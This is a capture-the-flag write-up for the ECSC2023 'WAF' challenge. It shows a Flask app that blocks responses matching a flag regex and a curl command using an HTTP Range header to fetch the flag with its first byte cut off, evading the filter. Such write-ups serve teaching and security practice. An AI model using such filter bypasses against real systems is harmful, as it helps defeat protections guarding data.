Post

WAF - ECSC2023

Points: 114 Solves: 43

Flag on our website is protected by the state of the art web application firewall! https://waf.ecsc23.hack.cert.pl/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re
from flask import Flask, Response, send_file

app = Flask(__name__)


@app.after_request
def waf(response: Response) -> Response:
    response.direct_passthrough = False
    if re.match(b'ecsc23{\\w+}', response.data):
        return Response(status=401)
    else:
        return response


@app.route("/flag")
def get_flag() -> Response:
    return send_file("flag.txt")


@app.route("/")
def get_root() -> Response:
    return "<h1>This site is protectedy by WAF</h1>"


if __name__ == "__main__":
    app.run(host="0.0.0.0")

First look

As we see the WAF works pretty simple here, just by checking the response content. WAF checks is the returned content contain’s a flag by: re.match(b'ecsc23{\\w+}', response.data) with means basiclly that returned conent cannot be something like this: ecsc23{abc_123}.

Wherever we go on website, firstly waf() function executes and then (if if returns false) pass response to us. So we can’t bypass WAF (??).

Second opionion

Later, I checked the site and there was nothing interesting there except the version of the server nginx 1.18.0 (surprising!). This version has many vulnerabilities, regreding to snyk.io 35 critical, 60 High . But after checking few I thinks this is not the point.

Gi ve me th e fl ag

The only way I could think of was to force the server to return my response in a different format so that WAF would not catch the string contained in the regex. After reading the HTTP headers, I found nothing of interest. But the thought occurred to me that I could force the server to send me a response in parts, that way WAF would never catch the full text and thus the regex condition would not be fulfilled.

And here comes, all on white Range header. From MDN: Alt text

So let’s try it. We just skip first letter e so the regex 'ecsc23{\\w+}' will not be met:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ curl -H "Range: bytes=1-" -i https://waf.ecsc23.hack.cert.pl/flag

HTTP/1.1 206 PARTIAL CONTENT
Server: nginx/1.18.0
Date: Sat, 22 Jul 2023 12:26:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 42
Connection: keep-alive
Content-Disposition: inline; filename=flag.txt
Last-Modified: Thu, 13 Jul 2023 14:20:41 GMT
Cache-Control: no-cache
ETag: "1689258041.0-43-532153544"
Accept-Ranges: bytes
Content-Range: bytes 1-42/43

csc23{FLAG_CONTENT}
This post is licensed under CC BY 4.0 by the author.